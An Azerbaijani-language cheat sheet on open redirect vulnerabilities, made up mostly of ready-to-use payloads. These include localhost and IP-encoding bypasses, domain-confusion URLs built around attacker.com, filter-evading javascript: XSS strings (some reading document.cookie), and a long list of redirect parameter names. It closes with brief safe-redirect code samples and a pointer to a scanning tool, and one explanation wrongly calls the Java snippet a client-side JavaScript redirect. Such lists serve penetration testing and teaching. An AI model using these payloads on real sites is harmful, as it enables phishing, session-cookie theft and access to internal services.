Open Redirect

“Açıq yönləndirmə” veb təhlükəsizlik zəifliklərindən biridir. 'Open Redirect', veb tətbiqi istifadəçilər lazımi yoxlama olmadan müxtəlif veb-saytlara yönləndirməyə imkan verdikdə baş verir.Bu yoxlama düzgün idarə edilmədikdə, təcavüzkar istifadəçini zərərli veb-saytlara yönləndirərək, fişinq və ya digər hücumlar həyata keçirə bilər.

Localhost'a və ya hər hans bir domenə yönləndirmək üçün

# localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile

# Nöqtə bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Digər üsullar
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

Domain Confusion

https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%[email protected]
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)[email protected]

Open redirect to XSS

#javascript kodu "javascript"dən sonra icra olunur:
javascript:alert(1)

#CRLF ilə "javascript" sözünü bypass etmək
java%0d%0ascript%0d%0a:alert(0)

# BU payload FILTER_VALIDATE_URL'i bypass edir
javascript://%250Aalert(1)

# "javascript://" payload'nın variasiyaları(sorğu prametri də iştirak etdikdə)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Digər payload'lar
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//

Ümumi İnjection Paramterləri

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Kod nümunələri

Mənbə koduna ciddi şəkildə kodlaşdırılmış URL'lər təsdiq edilməmiş(unvalidated) yönləndirmələrdən bir növ təhlükəsizdir. Aşağıda kod nümunələrini görə bilərsiniz:

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

İlk kod 'response.redirect("~/mysafe-subdomain/login.aspx")' ASP.NET-də istifadə olunan server tərəf yönləndirmədir və istifadəçiləri təhlükəsiz alt domen daxilində giriş səhifəsinə yönləndirir.

İkinci kod 'response.redirect("http://mysafedomain.com");' istifadəçiləri müəyyən edilmiş təhlükəsiz domenə göndərən JavaScript-də olan müştəri yönümlü yönləndirmədir.

Üçüncü kod, brauzerə təhlükəsiz domenə yönləndirmə təlimatı verməklə oxşar nəticə əldə edən server tərəfi PHP yönləndirməsidir.

Alət

Yuxarıdakı keçiddən istifadə edərək, Oralyzer alətini yükləyə bilərsiniz. Oralyzer, vebsaytda Open Redirection zəifliyini yoxlayan sadə python skriptidir. Bu alət, istifadəçini başqa sayta yönləndirə biləcək yolları tapmaq üçün verilmiş URL'in müxtəlif variasiyalarını yoxlayır.

Last updated